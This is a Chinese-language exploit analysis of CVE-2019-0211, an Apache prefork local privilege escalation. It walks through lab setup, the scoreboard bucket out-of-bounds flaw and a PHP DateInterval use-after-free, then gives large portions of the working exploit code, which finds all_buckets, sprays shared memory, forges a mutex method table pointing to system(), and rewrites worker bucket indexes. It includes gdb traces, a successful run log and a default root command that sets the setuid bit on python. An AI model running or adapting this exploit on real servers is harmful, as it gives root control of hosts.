Apache 'logrotate' 本地提取漏洞分析(CVE-2019-0211)
QEMU安装创建虚拟机硬盘qemu-img create -f qcow2 ubuntu18.04.4.img 10G# 安装虚拟机qemu-system-x86_64 -m 2048 -hda ubuntu18.04.4.img -cdrom ./ubuntu-18.04.4-desktop-amd64.iso# 启动虚拟机qemu-system-x86_64 -m 2048 ubuntu18.04.4.i
sudo apt -y install apache2=2.4.29-1ubuntu4 apache2-bin=2.4.29-1ubuntu4 apache2-utils=2.4.29-1ubuntu4 apache2-data=2.4.29-1ubuntu4 apache2-dbg=2.4.29-1ubuntu4
sudo apt-get -y install software-properties-commonsudo add-apt-repository ppa:ondrej/phpsudo apt-get updatesudo apt-get -y install php7.1
# Apache监听多个端口(非常重要)sudo sed -i 's,Listen 80,Listen 80nListen 8080,' /etc/apache2/ports.conf
$ sudo apachectl restart$ ps -axu|grep apacheroot 27041 ... /usr/sbin/apache2 -k startwww-data 27042 ... /usr/sbin/apache2 -k startwww-data 27043 ... /usr/sbin/apache2 -k startwww-data 27044 ... /usr/sbin/apache2 -k startwww-data 27045 ... /usr/sbin/apache2 -k startwww-data 27046 ... /usr/sbin/apache2 -k start
2. 漏洞原理概述
Apache的主进程会以root权限运行,它会管理一个低权限的worker进程池,这些worker进程用于处理http请求。
server进程通过一个位于SHM( shared-memory area) 的scoreboard结构体获取worker进程相关信息。
每个worker进程对这个SHM是可读可写的,它们在SHM中维护一个process_score结构体。
process_score结构体包含一个bucket字段,保存的是主进程all_buckets数组的索引值,all_buckets[index]对应的是一个prefork_child_bucket结构体。
当Apache gracefully restart时,会kill掉所有的worker进程,替换成新的woker进程,这个过程会调用prefork_child_bucket->mutext->meth->child_init()函数
由于没有做数组边界检查,恶意的worker进程可以设置任意的bucket值,让其指向一个我们控制的prefork_child_bucket结构体,进而修改prefork_child_bucket->mutex->meth->child_init函数指针,最终当Apache gracefully restart时,会执行修改过的child_init函数,进而可以实现权限提升。
$ ps -aux|grep apache|grep -v greproot 780 ... /usr/sbin/apache2 -k startwww-data 19716 ... /usr/sbin/apache2 -k startwww-data 19717 ... /usr/sbin/apache2 -k start
root7ff6154be000-7ff615501000 rw-s 00000000 00:01 40010 /dev/zero (deleted)7ff615501000-7ff61557f000 rw-s 00000000 00:01 867451 /dev/zero (deleted)// httpd/include/scoreboard.htypedef struct {global_score *global;process_score *parent;worker_score **servers;} scoreboard;struct process_score {pid_t pid;ap_generation_t generation;char quiescing;char not_accepting;apr_uint32_t connections;apr_uint32_t write_completion;apr_uint32_t lingering_close;apr_uint32_t keep_alive;apr_uint32_t suspended;int bucket;}// httpd/server/mpm/prefork/prefork.ctypedef struct prefork_child_bucket {ap_pod_t *pod;ap_listen_rec *listeners;apr_proc_mutex_t *mutex;} prefork_child_bucket;static prefork_child_bucket *all_buckets, /* All listeners buckets */*my_bucket; /* Current child bucket */
// apr/include/arch/unix/apr_arch_proc_mutex.hstruct apr_proc_mutex_t {apr_pool_t *pool;const apr_proc_mutex_unix_lock_methods_t *meth;int curr_locked;char *fname;...}struct apr_proc_mutex_unix_lock_methods_t {unsigned int flags;apr_status_t (*create)(apr_proc_mutex_t *, const char *);apr_status_t (*acquire)(apr_proc_mutex_t *);apr_status_t (*tryacquire)(apr_proc_mutex_t *);apr_status_t (*release)(apr_proc_mutex_t *);apr_status_t (*cleanup)(void *);apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *); <--apr_status_t (*perms_set)(apr_proc_mutex_t *, apr_fileperms_t, apr_uid_t, apr_gid_t);apr_lockmech_e mech;const char *name;}
// httpd-2.4.38/server/mpm/prefork/prefork.c// 调用栈:// prefork_run -> make_child -> child_main -> apr_proc_mutex_child_init -> child_init(&my_bucket->mutex, pool, fname);typedef struct prefork_child_bucket {ap_pod_t *pod;ap_listen_rec *listeners;apr_proc_mutex_t *mutex;} prefork_child_bucket;static prefork_child_bucket *all_buckets, /* All listeners buckets */*my_bucket; /* Current child bucket */static int prefork_run(apr_pool_t *_pconf, apr_pool_t *plog, server_rec *s){...apr_proc_t pid;ap_wait_or_timeout(&exitwhy, &status, &pid, pconf, ap_server_conf);...child_slot = ap_find_child_by_pid(&pid);...make_child(ap_server_conf, child_slot, ap_get_scoreboard_process(child_slot)->bucket);...}static int make_child(server_rec *s, int slot, int bucket){...my_bucket = &all_buckets[bucket];...child_main(slot, bucket);...}static void child_main(int child_num_arg, int child_bucket){...status = SAFE_ACCEPT(apr_proc_mutex_child_init(&my_bucket->mutex,apr_proc_mutex_lockfile(my_bucket->mutex),pchild));...}// apr/locks/unix/proc_mutex.c// https://github.com/apache/apr/blob/trunk/locks/unix/proc_mutex.c#L1560APR_DECLARE(apr_status_t) apr_proc_mutex_child_init(apr_proc_mutex_t **mutex,const char *fname,apr_pool_t *pool){return (*mutex)->meth->child_init(mutex, pool, fname);}
3. PoC原理
$ cat uaf.phpfunction o($msg){print($msg);print("n");}function ptr2str($ptr, $m=8){$out = "";for ($i=0; $i<$m; $i++){$out .= chr($ptr & 0xff);$ptr >>= 8;}return $out;}class Z implements JsonSerializable{public function jsonSerialize(){global $y, $addresses, $workers_pids;$_protector = ptr2str(0, 78);$this->abc = ptr2str(0, 79);$p = new DateInterval('PT1S');unset($y[0]);unset($p);$protector = ".$_protector";$x = new DateInterval('PT1S');$x->y = 0x00;# zend_string.len$x->d = 0x100;# zend_string.val[0-4]$x->h = 0x13121110;# Verify UAF was successful# We modified stuff via $x; they should be visible by $this->abc, since# they are at the same memory location.if(!(strlen($this->abc) === $x->d &&$this->abc[0] == "x10" &&$this->abc[1] == "x11" &&$this->abc[2] == "x12" &&$this->abc[3] == "x13")){o('UAF failed, exiting.');exit();}o('UAF successful.');o('');}}function test_uaf(){global $y;$y = [new Z()];json_encode([0 => &$y]);}test_uaf();$ php -vPHP 7.2.13 (cli) (built: Apr 28 2020 20:54:07) ( NTS )Copyright (c) 1997-2018 The PHP GroupZend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies$ php uaf.phpUAF successful.
$_protector
这样的函数局部变量不会。
typedef signed long long timelib_sll;typedef struct _timelib_rel_time {timelib_sll y, m, d; /* Years, Months and Days */timelib_sll h, i, s; /* Hours, mInutes and Seconds */timelib_sll us; /* Microseconds */int weekday;int weekday_behavior;int first_last_day_of;int invert;timelib_sll days;struct {unsigned int type;timelib_sll amount;} special;unsigned int have_weekday_relative, have_special_relative;} timelib_rel_time;int main(){printf("%lun", sizeof(timelib_rel_time));}$ ./a.out104
4. EXP原理
漏洞利用思路
typedef struct prefork_child_bucket {ap_pod_t *pod;ap_listen_rec *listeners;apr_proc_mutex_t *mutex;} prefork_child_bucket;struct apr_proc_mutex_t {apr_pool_t *pool;const apr_proc_mutex_unix_lock_methods_t *meth;...}struct apr_proc_mutex_unix_lock_methods_t {unsigned int flags;apr_status_t (*create)(apr_proc_mutex_t *, const char *);apr_status_t (*acquire)(apr_proc_mutex_t *);apr_status_t (*tryacquire)(apr_proc_mutex_t *);apr_status_t (*release)(apr_proc_mutex_t *);apr_status_t (*cleanup)(void *);apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *); <--apr_status_t (*perms_set)(apr_proc_mutex_t *, apr_fileperms_t, apr_uid_t, apr_gid_t);apr_lockmech_e mech;const char *name;}
zend_object *object
),并借助zend_object_std_dtor执行system函数;
typedef struct _zend_object zend_object;struct _zend_object {zend_refcounted_h gc; // 8字节uint32_t handle;zend_class_entry *ce;const zend_object_handlers *handlers;HashTable *properties;zval properties_table[1];};typedef struct _zend_array HashTable;struct _zend_array {zend_refcounted_h gc; // 8字节union { // 4字节struct {...} v;uint32_t flags;} u;uint32_t nTableMask;Bucket *arData;uint32_t nNumUsed;uint32_t nNumOfElements;uint32_t nTableSize;uint32_t nInternalPointer;zend_long nNextFreeElement;dtor_func_t pDestructor;};typedef struct _Bucket {zval val;zend_ulong h; /* hash value (or numeric index) */zend_string *key; /* string key or NULL for numerics */} Bucket;
进而将正常执行流程:
prefork_run -> make_child -> child_main -> apr_proc_mutex_child_init -> child_init(&my_bucket->mutex, pool, fname);
prefork_run -> make_child -> child_main -> apr_proc_mutex_child_init -> zend_object_std_dtor(&my_bucket->mutex) -> system("system cmd")
ZEND_API void zend_object_std_dtor(zend_object *object){...zend_array_destroy(object->properties);...}ZEND_API void ZEND_FASTCALL zend_array_destroy(HashTable *ht){...zend_hash_destroy(ht);...}ZEND_API void ZEND_FASTCALL zend_hash_destroy(HashTable *ht){Bucket *p, *end;...p = ht->arData;...ht->pDestructor(&p->val);...}ZEND_API void zend_object_std_dtor(zend_object *object)-> zend_array_destroy(object->properties);-> zend_hash_destroy(object->properties);-> system(&object->properties->arData->val)(char *)&object->properties->arData->val 等同于 (char *)arData
具体实现
概述
-
get_all_addresses 函数获取漏洞利用需要的内存地址 -
get_workers_pids 函数获取当前系统的所以worker进程的pid -
class Z实现了JsonSerializable接口的jsonSerialize函数 -
real函数通过创建class Z 对象$y并调用json_encode执行class Z的jsonSerialize函数
function real(){global $y;$y = [new Z()];json_encode([0 => &$y]);}class Z implements JsonSerializable{public function jsonSerialize(){...}...}function get_all_addresses(){...}function get_workers_pids(){...}$addresses = get_all_addresses();$workers_pids = get_workers_pids();real();
工具函数说明
str2ptr
function o($msg){# No concatenation -> no string allocationprint($msg);print("n");}function str2ptr(&$str, $p, $s=8){$address = 0;for($j=$s-1;$j>=0;$j--){$address <<= 8;o('0x'.dechex(ord($str[$p+$j])));$address |= ord($str[$p+$j]);}return $address;}$abc = "12345678";$addr = str2ptr($abc, 0);o('0x'.dechex($addr));/*0x380x370x360x350x340x330x320x310x3837363534333231>>> ord('8')56>>> hex(56)'0x38'*/...$addr = str2ptr($abc, 2);o('0x'.dechex($addr));/*0x00x00x380x370x360x350x340x330x383736353433
ptr2str
function ptr2str($ptr, $m=8){$out = "";for ($i=0; $i<$m; $i++){$out .= chr($ptr & 0xff);$ptr >>= 8;}return $out;}$_protector = ptr2str(0, 78);print($_protector . " " . strlen($_protector) . "n");echo ptr2str(0x616263);/*78cba*/
find_symbol
get_all_addresses
# cat /proc/44875/maps |grep '/dev/zero'7fefaaed9000-7fefb2ed9000 rw-s 00000000 00:01 385061 /dev/zero (deleted)7fefc1116000-7fefc112a000 rw-s 00000000 00:01 235954 /dev/zero (deleted)$addresses['shm'] -> [7fefc1116000, 7fefc112a000]
-
worker进程的process_score(ap_scoreboard_image.parent[i])存放的位置 -
堆喷射的内存区域(SHM 的空闲区域)
libc-*.so
的加载地址,计算根据偏移system函数地址,保存到
$addresses['system']
libc-*.so
的绝对路径,然后从.so文件中定位system函数的偏移,进而计算它在内存中的地址
$addresses['libaprX']
和
$addresses['libaprR']
# cat /proc/44875/maps |grep libapr-1.so | grep r-xp7fefc096a000-7fefc099d000 r-xp 00000000 08:01 2113254 /usr/lib/x86_64-linux-gnu/libapr-1.so.0.6.3# cat /proc/44875/maps |grep libapr-1.so | grep r--p7fefc0b9d000-7fefc0b9e000 r--p 00033000 08:01 2113254/usr/lib/x86_64-linux-gnu/libapr-1.so.0.6.3
# cat /proc/44875/maps |grep rw-p |grep -v /lib# cat /proc/44875/maps |grep rwxp |grep -v /lib
libphp*.so
加载地址和路径,通过zend_object_std_dtor的偏移计算其加载地址,保存到$addresses[‘zend_object_std_dtor’]
PID: 44874Fetching addresseszend_object_std_dtor: 0x7fefbd49c120system: 0x7fefc03a9440libaprX: 0x7fefc096a000-0x7fefc099d000libaprR: 0x7fefc0b9d000-0x7fefc0b9e000shm: 0x7fefc1116000-0x7fefc112a000apache: 0x7fefc1168000-0x7fefc1263000
get_workers_pids
核心函数说明
class Z implements JsonSerializable{public function jsonSerialize(){global $y, $addresses, $workers_pids;$contiguous = [];for($i=0;$i<10;$i++)$contiguous[] = new DateInterval('PT1S');$room = [];for($i=0;$i<10;$i++)$room[] = new Z();$_protector = ptr2str(0, 78);$this->abc = ptr2str(0, 79);$p = new DateInterval('PT1S');unset($y[0]);unset($p);$protector = ".$_protector";$x = new DateInterval('PT1S');$x->y = 0x00;# zend_string.len$x->d = 0x100;# zend_string.val[0-4]$x->h = 0x13121110;if(!(strlen($this->abc) === $x->d &&$this->abc[0] == "x10" &&$this->abc[1] == "x11" &&$this->abc[2] == "x12" &&$this->abc[3] == "x13")){o('UAF failed, exiting.');exit();}o('UAF successful.');o('');unset($room);$address = str2ptr($this->abc, 0x70 * 2 - 24);$address = $address - 0x70 * 3;$address = $address + 24;$distance =max($addresses['apache'][1], $addresses['shm'][1]) -$address;$x->d = $distance;...}
写入一个字节到$mem_addr:
$this->abc[$mem_addr - $address] = 'x';
str2ptr($this->abc, $mem_addr - $address);
class Z implements JsonSerializable{public function jsonSerialize(){...# mutex在all_buckets结构体中的偏移是0x10# |all_buckets, mutex| = 0x10# meth在mutex结构体中的偏移是0x08# |mutex, meth| = 0x8# all_buckets is in apache's memory region# mutex is in apache's memory region# meth is in libaprR's memory region# meth's function pointers are in libaprX's memory regiono('Looking for all_buckets in memory');$all_buckets = 0;for($i = $addresses['apache'][0] + 0x10;$i < $addresses['apache'][1] - 0x08;$i += 8){# mutex# 判断当前获取的地址,即all_buckets->mutex是否在apache内存区域$mutex = $pointer = str2ptr($this->abc, $i - $address);if(!in($pointer, $addresses['apache']))continue;# meth# 判断all_buckets->mutex->meth是否在libaprR内存区域$meth = $pointer = str2ptr($this->abc, $pointer + 0x8 - $address);if(!in($pointer, $addresses['libaprR']))continue;...# meth->*# flags# 判断all_buckets->mutex->meth->flags是否为0if(str2ptr($this->abc, $pointer - $address) != 0)continue;# methods# 判断all_buckets->mutex->meth->*的各个函数指针是否在libaprX区域for($j=0;$j<7;$j++){$m = str2ptr($this->abc, $pointer + 0x8 + $j * 8 - $address);if(!in($m, $addresses['libaprX']))continue 2;o(' [*]: 0x' . dechex($m));}# $i的地址是all_buckets->mutext的地址,所以all_buckets地址是$i-0x10$all_buckets = $i - 0x10;o('all_buckets = 0x' . dechex($all_buckets));break;}...}}
typedef struct prefork_child_bucket {ap_pod_t *pod;ap_listen_rec *listeners;apr_proc_mutex_t *mutex;} prefork_child_bucket;static prefork_child_bucket *all_buckets, /* All listeners buckets */*my_bucket; /* Current child bucket */
struct apr_proc_mutex_t {apr_pool_t *pool;const apr_proc_mutex_unix_lock_methods_t *meth;...}struct apr_proc_mutex_unix_lock_methods_t {unsigned int flags;apr_status_t (*create)(apr_proc_mutex_t *, const char *);apr_status_t (*acquire)(apr_proc_mutex_t *);apr_status_t (*tryacquire)(apr_proc_mutex_t *);apr_status_t (*timedacquire)(apr_proc_mutex_t *, apr_interval_time_t);apr_status_t (*release)(apr_proc_mutex_t *);apr_status_t (*cleanup)(void *);apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *);apr_status_t (*perms_set)(apr_proc_mutex_t *, apr_fileperms_t, apr_uid_t, apr_gid_t);apr_lockmech_e mech;const char *name;};
链接: https://pan.baidu.com/s/1sr6k0S2X5XlFdPY7HOVRRw 密码:2e67
$ curl localhost/find_all_bkts.phpPID: 29123Fetching addresseszend_object_std_dtor: 0x7fe7f1cbafb0system: 0x7fe7f4ba7440libaprX: 0x7fe7f5168000-0x0x7fe7f519b000libaprR: 0x7fe7f539b000-0x0x7fe7f539c000shm: 0x7fe7f5939000-0x0x7fe7f594d000apache: 0x7fe7f597e000-0x0x7fe7f5a61000Triggering UAFCreating room and filling empty spacesAllocating $abc and $pUnsetting both variables and setting $protectorCreating DateInterval objectUAF successful.Address of $abc: 0x7fe7ed0904e8Looking for all_buckets in memory[&mutex]: 0x7fe7f59fc1e0[mutex]: 0x7fe7f59fc330[meth]: 0x7fe7f539bb60[*]: 0x7fe7f51830d0[*]: 0x7fe7f5183070[*]: 0x7fe7f5183010[*]: 0x7fe7f5182fb0[*]: 0x7fe7f5182b30[*]: 0x7fe7f5182810[*]: 0x7fe7f5182f40all_buckets = 0x7fe7f59fc1d0root# gdb attach 29123gdb-peda$ p all_buckets$1 = (prefork_child_bucket *) 0x7fe7f59fc1d0
curl localhost/carpediem.php...PID: 29260...Placing payload at address 0x7fe7f593c908...Spraying pointerAddress: 0x7fe7f593c9d8From: 0x7fe7f593ca10To: 0x7fe7f594d000Size: 0x105f0Covered: 0x105f0Apache: 0xe3000...
root# gdb attach 29260# zend_object.properties->arData# | zend_object.properties, arData | = 0x10$ x /19xg 0x7fe7f593c9080x7fe7f593c908: 0x732b20646f6d6863 0x69622f7273752f200x7fe7f593c918: 0x6e6f687479702f6e 0x0000000000362e330x7fe7f593c928: 0x0000000000000000 0x00000000000000000x7fe7f593c938: 0x0000000000000000 0x00000000000000000x7fe7f593c948: 0x0000000000000000 0x00000000000000000x7fe7f593c958: 0x0000000000000000 0x00000000000000000x7fe7f593c968: 0x0000000000000000 0x00000000000000000x7fe7f593c978: 0x0000000000000000 0x00000000000000000x7fe7f593c988: 0x0000000000000000 0x00000000000000000x7fe7f593c998: 0x0000000000000000$ x /1bs 0x7fe7f593c9080x7fe7f593c908: "chmod +s /usr/bin/python3.6"
# prefork_child_bucket.mutext->methgdb-peda$ x /7xg 0x7fe7f593c908+1520x7fe7f593c9a0: 0x0000000000000000 0x00000000000000000x7fe7f593c9b0: 0x0000000000000000 0x00000000000000000x7fe7f593c9c0: 0x0000000000000000 0x00000000000000000x7fe7f593c9d0: 0x00007fe7f1cbafb0gdb-peda$ p zend_object_std_dtor$1 = {<text variable, no debug info>} 0x7fe7f1cbafb0 <zend_object_std_dtor>
# zend_object.propertiesgdb-peda$ x /7xg (0x7fe7f593c908+152+8*7)0x7fe7f593c9d8: 0x0000000000000001 0x00007fe7f593c9a00x7fe7f593c9e8: 0x00007fe7f593c908 0x00000000000000010x7fe7f593c9f8: 0x0000000000000000 0x00000000000000000x7fe7f593ca08: 0x00007fe7f4ba7440gdb-peda$ p system$2 = {int (const char *)} 0x7fe7f4ba7440 <__libc_system>
# sprayed areagdb-peda$ x /10xg 0x7fe7f593ca100x7fe7f593ca10: 0x00007fe7f593c9d8 0x00007fe7f593c9d80x7fe7f593ca20: 0x00007fe7f593c9d8 0x00007fe7f593c9d80x7fe7f593ca30: 0x00007fe7f593c9d8 0x00007fe7f593c9d80x7fe7f593ca40: 0x00007fe7f593c9d8 0x00007fe7f593c9d80x7fe7f593ca50: 0x00007fe7f593c9d8 0x00007fe7f593c9d8gdb-peda$ x /10xg 0x7fe7f594d000-10*80x7fe7f594cfb0: 0x00007fe7f593c9d8 0x00007fe7f593c9d80x7fe7f594cfc0: 0x00007fe7f593c9d8 0x00007fe7f593c9d80x7fe7f594cfd0: 0x00007fe7f593c9d8 0x00007fe7f593c9d80x7fe7f594cfe0: 0x00007fe7f593c9d8 0x00007fe7f593c9d80x7fe7f594cff0: 0x00007fe7f593c9d8 0x00007fe7f593c9d8
可以对照上一节的调试信息来看
# 一个全0的八字节占位符,用于占据结构体指针字段的位置$z = ptr2str(0);...# 构造payload的152字节,是具体要执行的命令$bucket = isset($_REQUEST['cmd']) ?$_REQUEST['cmd'] :"chmod +s /usr/bin/python3.5";...$bucket = str_pad($bucket, $size_worker_score - 112, "x00");# 构造 apr_proc_mutex_unix_lock_methods_t# 即prefork_child_bucket.mutex->meth# 把meth->child_init函数修改为了zend_object_std_dtor$meth =$z .$z .$z .$z .$z .$z .# child_initptr2str($addresses['zend_object_std_dtor']);# 这个是作者很巧妙的一个设计,# 由于可以喷射内存区域并不大,所以作者没有喷射完整的结构体,# 而是喷射了properties的地址,# 并让prefork_child_bucket.mutex# 指向的结构体(apr_proc_mutex_t)# 和zend_object.properties指向的结构体(HashTable)# 共享properties这块内存。# 最后的效果见下文。$properties =# refcountptr2str(1) .# u-nTableMask methptr2str($payload_start + strlen($bucket)) .# Bucket arDataptr2str($payload_start) .# uint32_t nNumUsed;ptr2str(1, 4) .# uint32_t nNumOfElements;ptr2str(0, 4) .# uint32_t nTableSizeptr2str(0, 4) .# uint32_t nInternalPointerptr2str(0, 4) .# zend_long nNextFreeElement$z .# dtor_func_t pDestructorptr2str($addresses['system']);$payload =$bucket .$meth .$properties;
php-7.2.13/Zend/zend_types.hzend_objecttypedef struct _zend_object zend_object;struct _zend_object {zend_refcounted_h gc; // 8字节uint32_t handle;zend_class_entry *ce;const zend_object_handlers *handlers;HashTable *properties;zval properties_table[1];};
zend_object.propertiestypedef struct _zend_array HashTable;struct _zend_array {zend_refcounted_h gc; // 8字节union {struct {ZEND_ENDIAN_LOHI_4(zend_uchar flags,zend_uchar nApplyCount,zend_uchar nIteratorsCount,zend_uchar consistency)} v;uint32_t flags;} u;uint32_t nTableMask;Bucket *arData;uint32_t nNumUsed;uint32_t nNumOfElements;uint32_t nTableSize;uint32_t nInternalPointer;zend_long nNextFreeElement;dtor_func_t pDestructor;};typedef struct _Bucket {zval val;zend_ulong h;zend_string *key;} Bucket;typedef struct _zval_struct zval;struct _zval_struct {zend_value value; /* value */union {struct {ZEND_ENDIAN_LOHI_4(zend_uchar type, /* active type */zend_uchar type_flags,zend_uchar const_flags,zend_uchar reserved) /* call info for EX(This) */} v;uint32_t type_info;} u1;union {uint32_t next; /* hash collision chain */uint32_t cache_slot; /* literal cache slot */uint32_t lineno; /* line number (for ast nodes) */uint32_t num_args; /* arguments number for EX(This) */uint32_t fe_pos; /* foreach position */uint32_t fe_iter_idx; /* foreach iterator index */uint32_t access_flags; /* class constant access flags */uint32_t property_guard; /* single property guard */uint32_t extra; /* not further specified */} u2;};
prefork_child_bucket.mutex->methstruct apr_proc_mutex_unix_lock_methods_t {unsigned int flags;apr_status_t (*create)(apr_proc_mutex_t *, const char *);apr_status_t (*acquire)(apr_proc_mutex_t *);apr_status_t (*tryacquire)(apr_proc_mutex_t *);apr_status_t (*timedacquire)(apr_proc_mutex_t *, apr_interval_time_t);apr_status_t (*release)(apr_proc_mutex_t *);apr_status_t (*cleanup)(void *);apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *);apr_status_t (*perms_set)(apr_proc_mutex_t *, apr_fileperms_t, apr_uid_t, apr_gid_t);apr_lockmech_e mech;const char *name;}struct apr_proc_mutex_t {apr_pool_t *pool;const apr_proc_mutex_unix_lock_methods_t *meth; <--int curr_locked;char *fname;...}
大概意思就是算出SHM中可以利用的空闲内存区域,获取中间地址,然后计算中间地址和all_buckets起始地址的偏移,然后除以单个prefork_child_bucket结构体的大小24(all_buckets是prefork_child_bucket数组的首地址),得到要修改的index值(ap_scoreboard_image.parent[i]->bucket)
$size_prefork_child_bucket = 24;$size_worker_score = 264;$spray_size = $size_worker_score * (256 - sizeof($workers_pids) * 2);$spray_max = $addresses['shm'][1];$spray_min = $spray_max - $spray_size;$spray_middle = (int) (($spray_min + $spray_max) / 2);$bucket_index_middle = (int) (- ($all_buckets - $spray_middle) /$size_prefork_child_bucket);$payload_start = $spray_min - $size_worker_score;
o('Placing payload at address 0x' . dechex($payload_start));$p = $payload_start - $address;for($i = 0;$i < strlen($payload);$i++){$this->abc[$p+$i] = $payload[$i];}
for($i = $spray_min;$i < $spray_max;$i++){// $address是$this->abc在内存中的地址$this->abc[$i - $address] = $s_properties_address[$i % 8];}o('');
ap_scoreboard_image->parent数组位于SHM 0x20偏移处
$ sudo cat /proc/26053/maps|grep rw-s7f5dbef6a000-7f5dbef7e000 rw-s 00000000 00:01 220623 /dev/zero (deleted)(gdb) p &ap_scoreboard_image->parent[0]$4 = (process_score *) 0x7f5dbef6a020(gdb) p ap_scoreboard_image->parent[0]$3 = {pid = 26053, generation = 0, quiescing = 0 '00', not_accepting = 0 '00', connections = 0, write_completion = 0,lingering_close = 0, keep_alive = 0, suspended = 0, bucket = -27764}
# Iterate over every process_score structure until we find every PID or# we reach the end of the SHMfor($p = $addresses['shm'][0] + 0x20;$p < $addresses['shm'][1] && count($workers_pids) > 0;$p += 0x24){$l = $p - $address;$current_pid = str2ptr($this->abc, $l, 4);o('Got PID: ' . $current_pid);# The PID matches one of the workersif(in_array($current_pid, $workers_pids)){unset($workers_pids[$current_pid]);o(' PID matches');# Update bucket address$s_bucket_index = pack('l', $bucket_index);$this->abc[$l + 0x20] = $s_bucket_index[0];$this->abc[$l + 0x21] = $s_bucket_index[1];$this->abc[$l + 0x22] = $s_bucket_index[2];$this->abc[$l + 0x23] = $s_bucket_index[3];o(' Changed bucket value to ' . $bucket_index);$min = $spray_min - $size_prefork_child_bucket * $bucket_index;$max = $spray_max - $size_prefork_child_bucket * $bucket_index;o(' Ranges: 0x' . dechex($min) . ' - 0x' . dechex($max));# This bucket range is covered, go to the next one$bucket_index += $spray_nb_buckets;}}
ps -aux|grep apacheroot 30073 ... /usr/sbin/apache2 -k start30074 ... /usr/sbin/apache2 -k startcurl localhost/carpediem.phpCARPE (DIEM) ~ CVE-2019-0211PID: 30074Fetching addresseszend_object_std_dtor: 0x7f2843e64fb0system: 0x7f2846d51440libaprX: 0x7f2847312000-0x0x7f2847345000libaprR: 0x7f2847545000-0x0x7f2847546000shm: 0x7f2847ae3000-0x0x7f2847af7000apache: 0x7f2847af7000-0x0x7f2847c0b000Obtaining apache workers PIDsFound apache worker: 30074Got 1 PIDs.Triggering UAFCreating room and filling empty spacesAllocating $abc and $pUnsetting both variables and setting $protectorCreating DateInterval objectUAF successful.Address of $abc: 0x7f283f29a4e8Looking for all_buckets in memory: 0x7f2847b501e0: 0x7f2847b50330: 0x7f2847545b60: 0x7f284732d0d0: 0x7f284732d070: 0x7f284732d010: 0x7f284732cfb0: 0x7f284732cb30: 0x7f284732c810: 0x7f284732cf40all_buckets = 0x7f2847b501d0Computing potential bucket indexes and addressesPlacing payload at address 0x7f2847ae6908Spraying pointerAddress: 0x7f2847ae69d8From: 0x7f2847ae6a10To: 0x7f2847af7000Size: 0x105f0Covered: 0x105f0Apache: 0x114000Iterating in SHM to find PIDs...Got PID: 30074PID matchesChanged bucket value to -18002Ranges: 0x7f2847b501c0 - 0x7f2847b607b0EXPLOIT SUCCESSFUL.Await 6:25AM.
gdb attach 30073p all_buckets1 = (prefork_child_bucket *) 0x7f2847b501d0这里看的exp找的的all_bucket地址是没有问题的gdb-peda$ p ap_scoreboard_image->parent[0]2 = {pid = 0x757a,generation = 0x0,quiescing = 0x0,not_accepting = 0x0,connections = 0x0,write_completion = 0x0,lingering_close = 0x0,keep_alive = 0x0,suspended = 0x0,bucket = 0xffffb9ae}pid 0x757a=30074 也是执行exp的worker进程pidbucket 也已经成功修改为-18002gdb-peda$ p $index = ap_scoreboard_image->parent[0]->bucket3 = 0xffffb9aep all_buckets[$index]4 = {pod = 0x7f2847ae69d8,listeners = 0x7f2847ae69d8,mutex = 0x7f2847ae69d8}这里看到一旦all_bucket[$index]命中堆喷射的区域,就会读取伪造的prefork_child_bucket,它的三个指针都会被设置为properties的地址gdb-peda$ detach
其他说明
SHM内存区域位于php内存下方(高地址),才能通过PHP代码读写SHM内存
all_buckets位于php内存下方,才能通过PHP代码找的all_buckets地址
apache greaceful 重启后,all_buckets的地址会产生偏移
# 几次apache graceful restart前后的偏移情况> hex(0x7f02d6bd11d0 - 0x7f02d6bb71d0)'0x1a000'> hex(0x7fbaf3eff1d0 - 0x7fbaf3ee51d0)'0x1a000'> hex(0x7f81814a31d0 - 0x7f81814891d0)'0x1a000'>
$bucket_index_middle = (int) (- ($all_buckets + 0x1a000 - $spray_middle) /$size_prefork_child_bucket);
# shell 1ps -aux|grep apacheroot 25990 0.0 1.8 320264 36456 ? Ss 20:48 0:00 /usr/sbin/apache2 -k start...sudo gdb attach 25990p all_bucketsb make_childc#shell 2sudo apachectl graceful# shell 1cp all_buckets
if(version_compare(PHP_VERSION, '7.2') >= 0)
$room[] = "!$_protector";
$bucket = isset($_REQUEST['cmd']) ?
$_REQUEST['cmd'] :
"chmod +s /usr/bin/python3.6";
复现
$ cp exp.php /var/www/html/
curl localhost/exp.phpCARPE (DIEM) ~ CVE-2019-0211PID: 27115Fetching addresseszend_object_std_dtor: 0x7f2ff4939fb0system: 0x7f2ff7826440libaprX: 0x7f2ff7de7000-0x0x7f2ff7e1a000libaprR: 0x7f2ff801a000-0x0x7f2ff801b000shm: 0x7f2ff85b8000-0x0x7f2ff85cc000apache: 0x7f2ff85fd000-0x0x7f2ff86e0000Obtaining apache workers PIDsFound apache worker: 27113Found apache worker: 27114Found apache worker: 27115Found apache worker: 27116Found apache worker: 27117Got 5 PIDs.Triggering UAFCreating room and filling empty spacesAllocating $abc and $pUnsetting both variables and setting $protectorCreating DateInterval objectUAF successful.Address of $abc: 0x7f2fefe9a4e8Looking for all_buckets in memory: 0x7f2ff863f1e0: 0x7f2ff863f330: 0x7f2ff801ab60: 0x7f2ff7e020d0: 0x7f2ff7e02070: 0x7f2ff7e02010: 0x7f2ff7e01fb0: 0x7f2ff7e01b30: 0x7f2ff7e01810: 0x7f2ff7e01f40all_buckets = 0x7f2ff863f1d0Computing potential bucket indexes and addressesPlacing payload at address 0x7f2ff85bc148Spraying pointerAddress: 0x7f2ff85bc218From: 0x7f2ff85bc250To: 0x7f2ff85cc000Size: 0xfdb0Covered: 0x4f470Apache: 0xe3000Iterating in SHM to find PIDs...Got PID: 27113PID matchesChanged bucket value to -32201Ranges: 0x7f2ff8678d28 - 0x7f2ff8688ad8Got PID: 27114PID matchesChanged bucket value to -29495Ranges: 0x7f2ff8668f78 - 0x7f2ff8678d28Got PID: 27115PID matchesChanged bucket value to -26789Ranges: 0x7f2ff86591c8 - 0x7f2ff8668f78Got PID: 27116PID matchesChanged bucket value to -24083Ranges: 0x7f2ff8649418 - 0x7f2ff86591c8Got PID: 27117PID matchesChanged bucket value to -21377Ranges: 0x7f2ff8639668 - 0x7f2ff8649418EXPLOIT SUCCESSFUL.Await 6:25AM.
$ sudo apachectl graceful
$ ls -l /usr/bin/python3.6
